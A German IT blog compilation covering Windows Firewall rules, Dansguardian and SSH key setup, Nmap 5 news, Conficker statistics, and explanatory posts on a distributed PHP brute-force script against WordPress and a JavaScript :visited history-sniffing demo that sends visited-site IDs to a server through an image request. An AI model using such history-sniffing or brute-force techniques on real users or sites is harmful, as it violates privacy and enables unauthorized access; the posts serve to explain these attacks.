IT-Blogger

Vielleicht hatte schonmal jemand das Problem: Die Standard-Konfiguration der Windows-Firewall ist zu lasch oder man will genau wissen, welcher Netzwerkverkehr den Rechner verlässt. Dann darf man natürlich nicht auf die vorkonfigurierten Regeln von Microsoft vertrauen.

Alle bestehenden Regeln können, mit Rechtsklick -  “Regel deaktivieren”, in einem Schwung deaktiviert werden. Anschließend sollten solche Elementaren Dienste wie DNS (“Kernnetzwerk – DNS (UDP ausgehend)”) wieder aktiviert werden. Sonst funktioniert natürlich erstmal nix mehr.

Einer dieser elementaren Dienste ist Windows Update. Leider sucht man sich den Wolf nach einer passenden Standard-Regel für Windows Update, die man wieder aktivieren kann. (Ich hab sie bisher auch nicht gefunden. Wenn die jemand findet, bitte melden!). Außerdem gab’s bei Google keinen passenden Beitrag, der beschreibt wie man Windows Update mit möglichst wenig Rechten den Weg ins Internet durch die Firewall freimachen kann. Das will ich hiermit ändern.

Die Windows Firewall ist bei Vista und Windows 7 unter Systemsteuerung => System und Sicherheit zu finden.

Im ersten Schritt muss eine neue Ausgehende Regel angelegt werden. Wählen wir “Benutzerdefiniert”.

Im nächsten Schritt tragen wir unter Programm “%systemroot%\system32\svchost.exe” ein. Unter Dienst wählen wir “Windows Update”.

Diese Einstellung hat zur Folge, dass nur der Dienst Windows Update freigeschalten wird und nicht pauschal alle Prozesse, die durch den svchost.exe gestartet werden. Die Windows Firewall identifiziert Dienste seit Windows Vista eindeutig über eine SID (Security Identifier). Damit die Regel angewendet wird, muss also SID (also Windows Update) und Programm (also svchost.exe) passen.

Die darauffolgende Fehlermeldung können wir ignorieren.

Im nächsten Fenster tragen wir als Protokoll TCP und als Remoteports 80,443 ein.

Wer lustig ist, kann im nächsten Fenster noch die IP-Ranges von Microsoft eintragen.  Muss aber nicht unbedingt sein…

In den nächsten Schritten sagen wir dem Assistent noch, dass er dei Verbindung zulassen soll und vergeben einen Namen. Zusätzlich sind noch die Netzwerke einzutragen – “öffentlich” sollte natürlich angehakt sein. Sonst funktioniert der ganze Spaß nicht.

Damit ist die Verbindung eingerichtet und Windows Update sollte funktionieren. Ein Test in der Systemsteuerung unter Windows Update “Updates suchen” zeigt uns, dass wir die Verbindung erfolgreich eingerichtet haben.

Ein täglicher auf den ISC-Blog von SANS lohnt sich definitiv. Heute wurde auf dem ISC-Blog ein interessantes Skript, welches ein User auf einem Server gefunden hat, vorgestellt. Dieses Skript ermöglicht es über PHP eine verteile Bruteforce-Attake auf Wordpress-Blogs durchzuführen.

Das Skript bedient sich dazu der Möglichkeit unter PHP cURL zu nutzen.

cURL:

A free and easy-to-use client-side URL transfer library, supporting FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, FILE, LDAP and LDAPS. libcurl supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading, kerberos, HTTP form based upload, proxies, cookies, user+password authentication, file transfer resume, http proxy tunneling and more.

Wikipedia

Es wurde nicht das komplette Skript veröffentlicht, sondern nur einige Code-Snippets. Wer das Skript haben möchte, sollte schnell anfangen zu programmieren

Im ersten veröffentlichten Screenshot erkennt man eine Funktion, die 3 verschiedene Parameter erwartet. $ch ist dabei der Handle, der durch curl_init() erstellt wurde. Das ist im Ausschnitt nicht zu sehen.  An diesen Handle werden nun alle erforderlichen Einstellungen angehängt und am Ende mittels curl_exec($ch) ausgeführt.

Parameter 2 und 3 ergeben sich logischerweise aus ihrem Namen.

Enthält die Antwort des Servers, also die zurückgelieferte Webseite, den Ausdruck “Log Out” war die Brute-Force Attacke erfolgreich. Das wird mittels

[...]

eregi(“Log Out”,$result)

[...]

überprüft.

Interessanter als die Nutzung von cURL in PHP ist die Möglichkeit, Seiten, die gecrackt werden sollen, in einer zentralen Instanz zu verwalten um verteiltes Cracken zu ermöglichen.

Zunächst holt sich das Skript aus einer zentralen MySQL-Datenbank 200 URLs, die gecrackt werden sollen und markiert diese in der Datenbank mit seiner persönlichen “colo_id”. Bricht das Skript nun aus irgendeinem Grund ab, holt sich das Skript die vorher markieren Einträge wieder aus der Datenbank und kann an der Stelle weitermachen, an der es abgebrochen wurde. Genau diesen Schritt stehen wir hier in diesem Screenshot:

Mittels “select url, site_type from site where colo_id=’$colo_id’” werden die Einträge aus der Datenbank geholt, an denen dieser “colo”, also dieses Skript, vorher gearbeitet hat.

Interessant ist auch die Möglichkeit, Passwortlisten zentral in einer Datenbank zu speichern und so allen Skripts zur Verfügung zu stellen.

Auf jeden Fall eine interessante und erwähnenswerte Idee, wie ich finde.

In Wireshark gibt es die Möglichkeit die mitgeschnittenen Daten aus dem Mitschnitt wieder zusammenzusetzen.  Das bedeutet man lauscht auf einer Leitung mit, speichert den Mitschnitt und kann anschließend einfach die besuchten Webseiten rekonstuieren.

Wie der Datenexport funktioniert will ich an 2 Beispielen demonstrieren.

1) Youtube-Video herunterladen

Mit dem eben erwähnten Feature in Wireshark ist es relativ einfach ein Video von Youtube herunterzuladen. Dazu starten wir zunächst Wireshark und anschließend lassen wir Wireshark alles mitschneiden, was in den nächsten Sekunden im Netzwerk passiert. Wenn der Mitschnitt läuft sollten zunächst nicht viele Pakete gelistet werden. Evtl. mal ein ARP-Paket oder andere Broadcasts. Diese können wir aber irgnorieren.

Youtube-Videos herunterladen mit Wireshark

Anschließend starten wir die “HTTP objekt list”. Diese ist unter “File => Export => Objekts => HTTP” zu finden. In diesem Fenster werden wir gleich alle über HTTP angefragten Objekte wiederfinden. Nun besuchen wir Youtube und schauen uns das Video an, welches wir herunterladen wollen.

Im HTTP objekt list-Fenster erscheint nun, nachdem das Video vollständig geladen wurde, neben einigen Bildern und HTML-Dateien, ein Eintrag bei dem in der Spalte “Content Type” “video/x-flv” steht. Dieser Eintrag entspricht dem Youtube-Video.

Indem wir den Eintrag markieren und mittels “Save As” abspeichern können wir das eben angeschaute Video exportieren und haben es somit als flv-Datei auf dem PC.

Dieses Verfahren funktioniert natürlich auf allen Streaming-Seiten. Evtl. variiert der Mime-Type (video/x-flv), der Vorgang bleibt aber der Selbe.

2) geschützte Bilder herunterladen

Manche kennen vielleicht das Problem: Da hat jemand, natürlich ohne zu fragen, einige Bilder vom letzten Freitag Abend bei *VZ (MeinVZ, StudiVZ, SchülerVZ,…) eingestellt. Nicht nur, dass man nicht gefragt wurde – nein, *VZ hat einen Mechanismus eingebaut, dass man diese Bilder nicht einfach per “Rechtsklick” -> “Speichern unter” herunterladen kann. Man kann also nichtmal die Bilder, auf denen man im Internet verewigt wurde, auf den eigene PC herunterladen.

Mit Wireshark aus StudiVZ Bilder herunterladen

Auch dieses Problem lässt sich mit der oben schon vorgeführten Technik umgehen. Dazu startet man wieder den Mitschnitt und das “HTTP objekt list”-Fenster und klickt anschließend das gewünschte Bild im *VZ an. Die große Version des Bilds wird nun geladen und unser “HTTP objekt list”-Fenster füllt sich.

Danach kann man im “HTTP objekt list”-Fenster einfach nach einem Eintrag mit Content Type “image/jpeg” und entsprechender Größe schauen. Abspeichern. Fertig.

Heute geht es ab. Gleich 2 Blogposts

Grade eben habe ich gesehen, dass Nmap in Version 5.00 veröffentlicht wurde. Hier nur einige kurze Informationen, einfach reinkopiert ohne große Erklärung:

Before we go into the detailed changes, here are the top 5 improvements in Nmap 5:

1. The new Ncat tool aims to be your Swiss Army Knife for data transfer, redirection, and debugging. We released a whole users’ guide detailing security testing and network administration tasks it maked easy with Ncat.
2. The addition of the Ndiff scan comparison tool completes Nmap’s growth into a whole suite of applications which work together to serve network administrators and security practitioners. Ndiff makes it easy to automatically scan your network daily and report on any changes (systems coming up or going down or changes to the software services they are running). The other two tools now packaged with Nmap itself are Ncat and the much improved Zenmap GUI and results viewer.
3. Nmap performance has improved dramatically. We spent last summer scanning much of the Internet and merging that data with internal enterprise scan logs to determine the most commonly open ports. This allows Nmap to scan fewer ports by default while finding more open ports. We also added a fixed-rate scan engine so you can bypass Nmap’s congestion control algorithms and scan at exactly the rate (packets per second) you specify.
4. We released Nmap Network Scanning, the official Nmap guide to network discovery and security scanning. From explaining port scanning basics for novices to detailing low-level packet crafting methods used by advanced hackers, this book suits all levels of security and networking professionals. A 42-page reference guide documents every Nmap feature and option, while the rest of the book demonstrates how to apply those features to quickly solve real-world tasks. More than half the book is available in the free online edition.
5. The Nmap Scripting Engine (NSE) is one of Nmap’s most powerful and flexible features. It allows users to write (and share) simple scripts to automate a wide variety of networking tasks. Those scripts are then executed in parallel with the speed and efficiency you expect from Nmap. All existing scripts have been improved, and 32 new ones added. New scripts include a whole bunch of MSRPC/NetBIOS attacks, queries, and vulnerability probes; open proxy detection; whois and AS number lookup queries; brute force attack scripts against the SNMP and POP3 protocols; and many more. All NSE scripts and modules are described in the new NSE documentation portal.

und noch die Links:

• http://nmap.org/5/#changes
• http://nmap.org/download.html

Nachdem man einige Zeit Dansguardian genutzt hat erkennt man, dass Dansguardian doch einige Sachen blockt, die eigentlich harmlos sind. Folgende Einstellung habe ich nach einer Testwoche bei mir getätigt.

Zuerst habe ich etwas aktiviert, was man eigentlich nur im privaten Bereich aktivieren sollte. Den Filter-Bypass. Damit lässt sich per Link eine geblockte Seite temporär freischalten. Dazu klickt man einfach auf den in der Block-Seite eingeblendeten Link (ganz unten im Bild):

Der Bypass-Link übergibt Dansguardian eine GET-Variable mit einer Bypass-Key:

http://www.google.de/search?hl=de&q=[...];GBYPASS=AD92B73FD7BA874240BF9C7708DDA9FA1244672750

Diesen Key kann Dansguardian entweder automatisch generieren oder man kann selbst einen Key festlegen. Wird nun in einem eigentlich gesperrten Link, diese GBYPASS-Variable mit gültigem Wert übergeben, schaltet Dansguardian die Seite für eine bestimmte Zeit frei.

Anzumerken ist hierbei, dass bei einem Virus-Fund der Bypass-Link auch erscheint, aber keine gütlige Bypass-ID mit übergeben wird – d.h. ein Anwender kann keinen durch ClamAV gefundenen Virus mit dem Bypass auf den Rechner laden.

Einstellen des Filter-Bypass

In der gruppenspezifischen Konfigurationsdatei (/etc/dansguardian/dansguardianf1.conf) gibt es eine Zeile bypass = 0. Hier wird in Sekunden eingestellt, wie lange ein Bypass gütlig ist. Mein Wert: bypass = 300. Damit ist mein Bypass also 5 Minuten gültig. 0 deaktiviert den Bypass. Mit dem Eintrag bypasskey = ‘ ‘ könnte man einen eigenen Bypass-Key festlegen. Lässt man den Eintrag leer, generiert Dansguardian selbst einen Key.

Nun muss der Link noch in das Template der Blockseite eingebaut werden. Dazu bearbeiten wir folgende Datei: /etc/dansguardian/languages/german/template.html.  German ist hier natürlich entsprechen der in der dansguardian.conf eingestellten Sprache zu wählen. (Siehe 1. Blogeintrag zu Dansguardian).

In diese Datei fügen wir nun, an der gewünschten Stelle, folgenden HTML-Code ein:

<tr>

<td>

<td>

<center><a href=”-BYPASS-”>Bypass</a></center>

</td>

</tr>

Die Variable -BYPASS- ersetzt Dansguardian durch den Bypass-Link. Also z.B. durch:

http://www.google.de/search?hl=[…[&GBYPASS=AD92B73FD7BA874240BF9C7708DDA9FA1244672750

Damit hat nun jeder User die Möglichkeit den Filter kurzfristig zu umgehen.

Früher war es so, dass ein Großteil der Malware per E-Mail den Weg auf die Rechner fand. Heute ist es so, dass die meiste Malware über HTTP, also über Webseiten, verbreitet. Da bietet es sich doch an einen Contentfilter einzusetzen, der HTTP-Traffic scannen kann.

Ich habe mich dazu entschieden Dansguardian in Verbindung mit dem kostenlosen Virenscanner ClamAV auf meinem Gateway zu testen.

Installation

Dank Debian ist die Installation von Dansguardian ein Kinderspiel:

apt-get install dansguardian squid3

Mit diesem Befehl installiert Debian automatisch Dansguardian und squid3.

Konfiguration

Für den Anfang ist in der Squid-Konfigurationsdatei nichts zu machen – wenn sich Squid und Dansguardian auf dem gleichen Server befinden. Squid erlaubt per Default den Zugriff, wenn die Quelle des Zugriffs der localhost ist. Da sich in diesem Fall Squid und Dansguarian auf dem gleichen System befinden, sind die default-Einstellungen des Squid ausreichend.

/etc/squid3/squid.conf

acl localhost src 127.0.0.1/32
http_access allow localhost

Im Dansguardian hingegen gibt es Einstellungen, die geändert werden müssen / können / sollten:

/etc/dansguardian/dansguardian.conf

language = ‘german’

contentscanner = ‘/etc/dansguardian/contentscanners/clamav.conf’

Damit, funktioniert Dansguardian erstmal und untersucht allen Traffic mit ClamAV. Dansguarian lauscht per default auf Port 8080. Also muss im Browser die IP des Servers und dieser Port als Proxy eingetragen werden.

Noch einige wichtige Verzeichnisse:

/var/log/dansguardian/access.log – Speichert die Webseiten-Zugriffe

/etc/dansguardian/lists /- beinhaltet alle Listen, nach denen Dansguarian filtert.

/etc/dansguardian/languages/ – beinhaltet alle verfügbaren Sprachen

Soweit für den Anfang. Vor allem wenn man Dansguarian im privaten Bereich einsetzt, findet man mit der Zeit sicher einige Einstellungen, die man gerne ändern will. Mein Feintuning beschreibe ich dann in einem weiteren Post…

Wenn man einen Server mit SSH-Zugang im Internet stehen hat, findet man in den auth-Logs oft folgende Einträge:

Failed password for root from IP_ADRESSE port xxxx ssh2
Failed password for root from IP_ADRESSE port xxxx ssh2
Failed password for root from IP_ADRESSE port xxxx ssh2

Ein Brute-Force Angriff auf SSH. Um das zu unterbinden kann man beispielsweise zusätzliche Tools wie denyhosts oder einem Eintrag im IPTables-Skript einsetzen. Eine andere Möglichkeit ist der Einsatz von Zertifikaten statt einer klassischen Username/Passwort-Authentifikation.

Als Server nutze ich in diesem Fall den freien OpenSSH-Server (einfach installiert per apt-get install ssh) und als Client Putty. Wenn man Putty als SSH-Client nutzen will, muss das Schlüsselpaar (öffentlicher und privater Schlüssel) mit PuttyGen erstellt werden. Sonst kann auch der Befehl ssh-keygen in der Linuxkonsole verwendet werden.

PuttyGen

Nach einem Klick auf Generate bewegt man die Maus einige male im Fenster und erstellt so einige Zufallszahlen. Man sollte auch auf jeden Fall ein Passwort angeben – um bei Verlust der Zertifikate noch einen Schutz zu haben.

Danach hat man sein Schlüsselpaar erstellt. (beide Schlüssel abspeichern!)

Wichtig ist nun der hier rot eingerahmte Bereich. Diesen kopieren wir in die Zwischenablage und verbinden uns anschließend zum SSH-Server, allerdings nicht als root sondern als normaler User.

Im Home-Verzeichnis des Users wird nun der Ordner .ssh und darunter die Datei authorized_keys erstellt (/home/$user/.ssh/authorized_keys). Ordner und Datei dürfen maximal “rwx——“ also Dateirecht 700 haben. Sobald group oder others Rechte haben, akzeptiert der SSH-Server die verwendeten Zertifikate nicht.

In die eben erstellte Datei authorized_keys fügen wir den Public Key (Zwischenablage) auf PuttyGen ein. Hier ist zu beachten, dass der Key in einer Zeile stehen muss. Zeilenumbrüche bringen den Server dazu, den Schlüssel zu verweigern.

Ein bestimmte User kann sich nur mit dem privaten Schlüssel am Server anmelden, wenn der dazu passende öffentliche Schlüssel im home-Verzeichnis des Users, in der authorized_keys eingefügt wurde.

Nun sollte der Server bereit sein und eine Verbindung mit Zertifikaten akzeptieren. Dazu gibt am in Putty unter “Connection => SSH => Auth” den vorher erstellten Privaten Schlüssel an. Evtl. kann man unter “Connection => Data” noch einen Usernamen angeben, den man anmelden will. Dann entfällt ein Schritt beim Anmelden.

Anpassungen am Server

An SSHd-Config selbst ist nur wenig zu machen. Die Einstellungsdatei findet man unter Debian in der Datei /etc/ssh/sshd_config.

Zu Ändern:

PasswordAuthentication no

Damit wird zukünftig eine Authentifizierung per Benutzername/Passwort-Kombination verboten. D.h. jede Bruteforce-Attacke läuft ins leere.

!Achtung! Wenn diese Option geändert wird, kann man nicht mehr ohne Zertifikat auf SSH zugreifen. Also unbedingt sicher sein, dass die Authentifizierung per Zertifikat auch funktioniert.

Eigentlich Standard-Einstellung, nochmal überprüfen:

RSAAuthentication yes
PubkeyAuthentication yes

Danach muss kurz der SSHd neugestartet werden: /etc/init.d/ssh reload

Pageant

Pageant ist ein Tool, das private Zertifikate von Putty verwaltet. Nachdem Pageant gestartet wurde, ist es in der Taskleiste zu finden. Zunächst muss man einmal den privaten Schlüssel mit Passwort hinterlegen und ab sofort meldet sich Putty völlig automatisch am Server an – Pageant übernimmt die Passworteingabe, wenn ihm eine passende Passwort/Zertifikat-Kombination für die Verbindung hinterlegt wurde.

Zu beachten:

• Pageant verliert Password und Zertifikat, wenn es beendet wird. D.h. nach einem Neustart muss das Zertifikat neu eingebunden werden.
• Damit die Authentifizierung völlig ohne Benutzereingaben funktioniert, muss in Putty unter “Connection => Data” der Username hinterlegt sein.

Gestern wurde ich von @tslg auf die Webseite www.startpanic.com hingewiesen. Nach einem Klick auf “Lets Start” findet die Webseite plötzlich Seiten, die man während dem surfen besucht hat. Erstaunlich und und wirkungsvoll. Man will gleich die Petition unterschreiben:

We are gathering petition signatures with the request to patch the privacy vulnerabilities of web different web browsers. This petition will be sent to the four major development companies – Mozilla Corp., Apple inc., Microsoft Corp. and Opera Software ASA. Join us for a safe and secure Internet!

Doch was passiert im Hintergrund, wie kommt die Webseite an die Daten? Eine unbekannte Sicherheitslücke in allen Browsern? Nicht wirklich.

Die Idee dahinter ist gut und die Webseite ist auch interessant umgesetzt. Da aber keinerlei Informationen über die Funktionsweise auf der Webseite stehen, hab ich mir das JavaScript, was im Hintergrund vom Browser ausgeführt wird, mal genauer angesehen.

Dieses Javascript ist ziemlich aufwendig und man braucht einige Zeit bis man es vollständig nachvollzogen hat… vor allem wenn man, wie ich, kein  Javascript-Nerd ist.

Nachdem ich das Prinzip verstanden hatte, hab ich einen eigenen Code geschrieben. Der ist deutlich kürzer, arbeitet aber ähnlich.

Die Testwebseite:

http://www.it-blogger.net/files/jsinfogath/jsinfogath.htm

Auf dieser Webseite werden 2 Dateien eingebunden:

itblogger.js

style.css

In der itblogger.js sind 2 Javascript-Funktionen zu finden, die die Auswertung Informationen machen.

Die erste Funktion heißt writeURL(). Diese Funktion greift auf das Array “urls” zu und schreibt nacheinander Links zu den den Webseiten, die in diesem Array stehen, auf die Testwebseite. Zusätzlich wird jeder einzelne Link mit einer eindeutigen ID versehen. D.h. google.de hat die ID 0, it-blogger.net hat die ID 1,… playboy.de hat die ID 4.

Diese Links werden über die style.css unterschiedlich formatiert. Bereits besuchte Webseiten werden grün angezeigt, nicht besuchte Webseiten werden rot angezeigt. D.h.  playboy.de wird wahrscheinlich grün sein, spiegel.de rot.

Das ist bisher nichts besonderes. Diese Funktion findet man auf vielen verschiedenen Webseiten und Links werden ja sowieso immer unterschiedlich angezeigt.

Bei der zweiten Funktion wird es interessant. checkState() geht die vorher erstellten Links durch und schaut ob diese grün oder rot dargestellt werden. Das passiert in diesem Codeabschnitt:

1: var besuchteseiten = “”;
2: for(var i = 0; i<urls.length;i++){
3:     var besucht = window.getComputedStyle(document.getElementById4(i),”" ).getPropertyValue(“color”);

[...]

5:    if(besucht==”rgb(0, 128, 0)”){
6:        besuchteseiten = besuchteseiten +”id=”+i;
7:    }

8:}

Über die Funktion getComputedStyle() (Z. 3) wird überprüft, wie der Browser den Link gerade anzeigt (rot  oder grün) . Dazu wählt die Funktion über getElementById() die Links (wir hatten Sie ja mit einer ID versehen) nacheinander aus und überprüft ob die Eigenschaft “color”gleich rgb(0, 128, 0)  (also grün) ist.

Wenn dies der Fall ist, schreibt die Funktion “id=x” (x steht für die jeweilige ID der Webseite) in die Variable “besuchteseiten“. Wenn mehrere Webseiten der Liste besucht wurden, werden diese zusammengesetzt in der Varaible gespeichert. Also id=0&id=2,… Außerdem wird ein neues Element unter “Besuchte Seiten” hinzugefügt.

Nachdem alle Webseiten überprüft und gelistet wurden, erzeugt die Funktion ein Bild:

1: div = document.getElementById(‘besucht’);
2: var img = document.createElement(“img”);
3: img.setAttribute(“src”,”http://www.it-blogger.net/files/jsinfogath/get.php?”+besuchteseiten);
4: 5: div.appendChild(img);

Dieses Bild hat als Quelle (Z 3) http://www.it-blogger.net/files/jsinfogath/get.php? und den String aus besuchten Webseiten:

Z.B:  http://www.it-blogger.net/files/jsinfogath/get.php?id=1&id=3

In diesem wurden also die Webseiten mit der ID 1 und 4 vom Client besucht. D.h. google.de und winfuture.de.

Dieses Bild versucht der Browser aufzurufen. Erfolglos, denn es gibt das Bild ja nicht. Über den versuchten Aufruf haben wir aber die Informationen über die vom Client besuchten Webseiten,  zu einem Server transportiert und könnten diese auf Serverseite weiterverarbeiten. In diesem Beispiel hier passiert auf Serverseite natürlich nichts!

Man kann natürlich auch das Bild verstecken – dann würde nichtmal der Platzhalter angezeigt werden. (siehe auskommentierte Zeile im Skript).

Auf startpanic.com wird eine etwas größere Datenbank für die Ermittlung der Webseiten verwendet:

http://www.startpanic.com/db/db_en.txt

Das sorgt natürlich für ein besseres Ergebnis. Um alles im Hintergrund zu überprüfen nutzt Startpanic kleine iframes, in die die jeweiligen Links eingebettet und danach überprüft werden. Ingesamt sieht die Startpanic-Version natürlich viel spektakulärer aus – es fehlt aber leider der technische Hintergrund. Das wurde hiermit erledigt

Da ich bis zur Mitte des nächsten Monats leider herzlich wenig Zeit habe, fallen die Blogposts entsprechend kurz aus  Deswegen will ich heute eigentlich nur kurz auf folgendes Paper aufmerksam machen, was Eset vorgestern veröffentlicht hat:

http://www.eset.com/download/whitepapers/Understanding_Heuristics.pdf

Da wird recht anschaulich die Funktion von heuristischen Methoden. Wer sich dafür interessiert, sollte es sich auf jeden Fall mal durchlesen.

Man hat in letzter Zeit ja einiges über Conficker” gehört. Vor allem, dass inzwischen millionen Rechner befallen sind, die sich im “größten Botnet aller Zeiten” vereint haben.

Ich schätze die Online- und Printmedien sehnen sich nach den Zeiten, in denen Würmer noch fast jeden Monat eine Schlagzeile geliefert haben. Klar – Überschriften wie “Größtes Botnet aller Zeiten” oder “Millionen Rechner befallen” ziehen die Leser magisch an.

Dass das so nicht ganz stimmt, hatte ich irgendwie schon vermutet. Immerhin kannte ich bei den letzten Wurm-Pandemien jedes mal 1-3 Leute, die den entsprechenden Wurm auf dem Rechner hatten – bei Conficker keinen. Das hat mich in meinem Gefühl nur bestärkt…

Kaspersky hat nun das Conficker Botnet 24 Stunden lang beobachtet und meine Vermutung bestätigt.

Auf viruslist.com wurde ein Blogartikel veröffentlicht, der die zum einen die Verbreitung von Conficker auf einer Weltkarte zeigt:

Bilder von Kaspersky Labs

Man sieht hier die Verteilung der infizierten Hosts ganz gut.  Allerdings sollte man auf die Geoposition nicht unbedingt vertrauen – hier kann es natürlich zu ungenauen Positionsbestimmungen kommen, je nachdem welche Geo-Datenbank genutzt wird.

Während der 24-stündigen Beobachtungsphase hat Kaspersky 200652 eindeutige IP-Adressen im Botnet verzeichnet… also nur ein Bruchteil der “Millionen” Rechner, die laut Newsseiten befallen sein sollen.

Als Grund gibt Kaspersky noch an, dass nur die neuste Variante von Conficker im Botnet aktiv ist. D.h. nur die Neuinfektionen mit den aktuellen Varianten verbinden sich mit dem Botnet und nur ein kleiner Bruchteil der früheren Infektionen wurde auf die neue Version aktualisiert.

So, jetzt sind wir alle ein wenig schlauer und vertrauen vielleicht nicht jeder Schlagzeile

*Die Bilder sind Eigentum von Kaspersky Labs / viruslist.com. Danke für die Nutzungserlaubnis*

*The Images are property of Kaspersky Labs / viruslist.com. Thanks for let me use them.*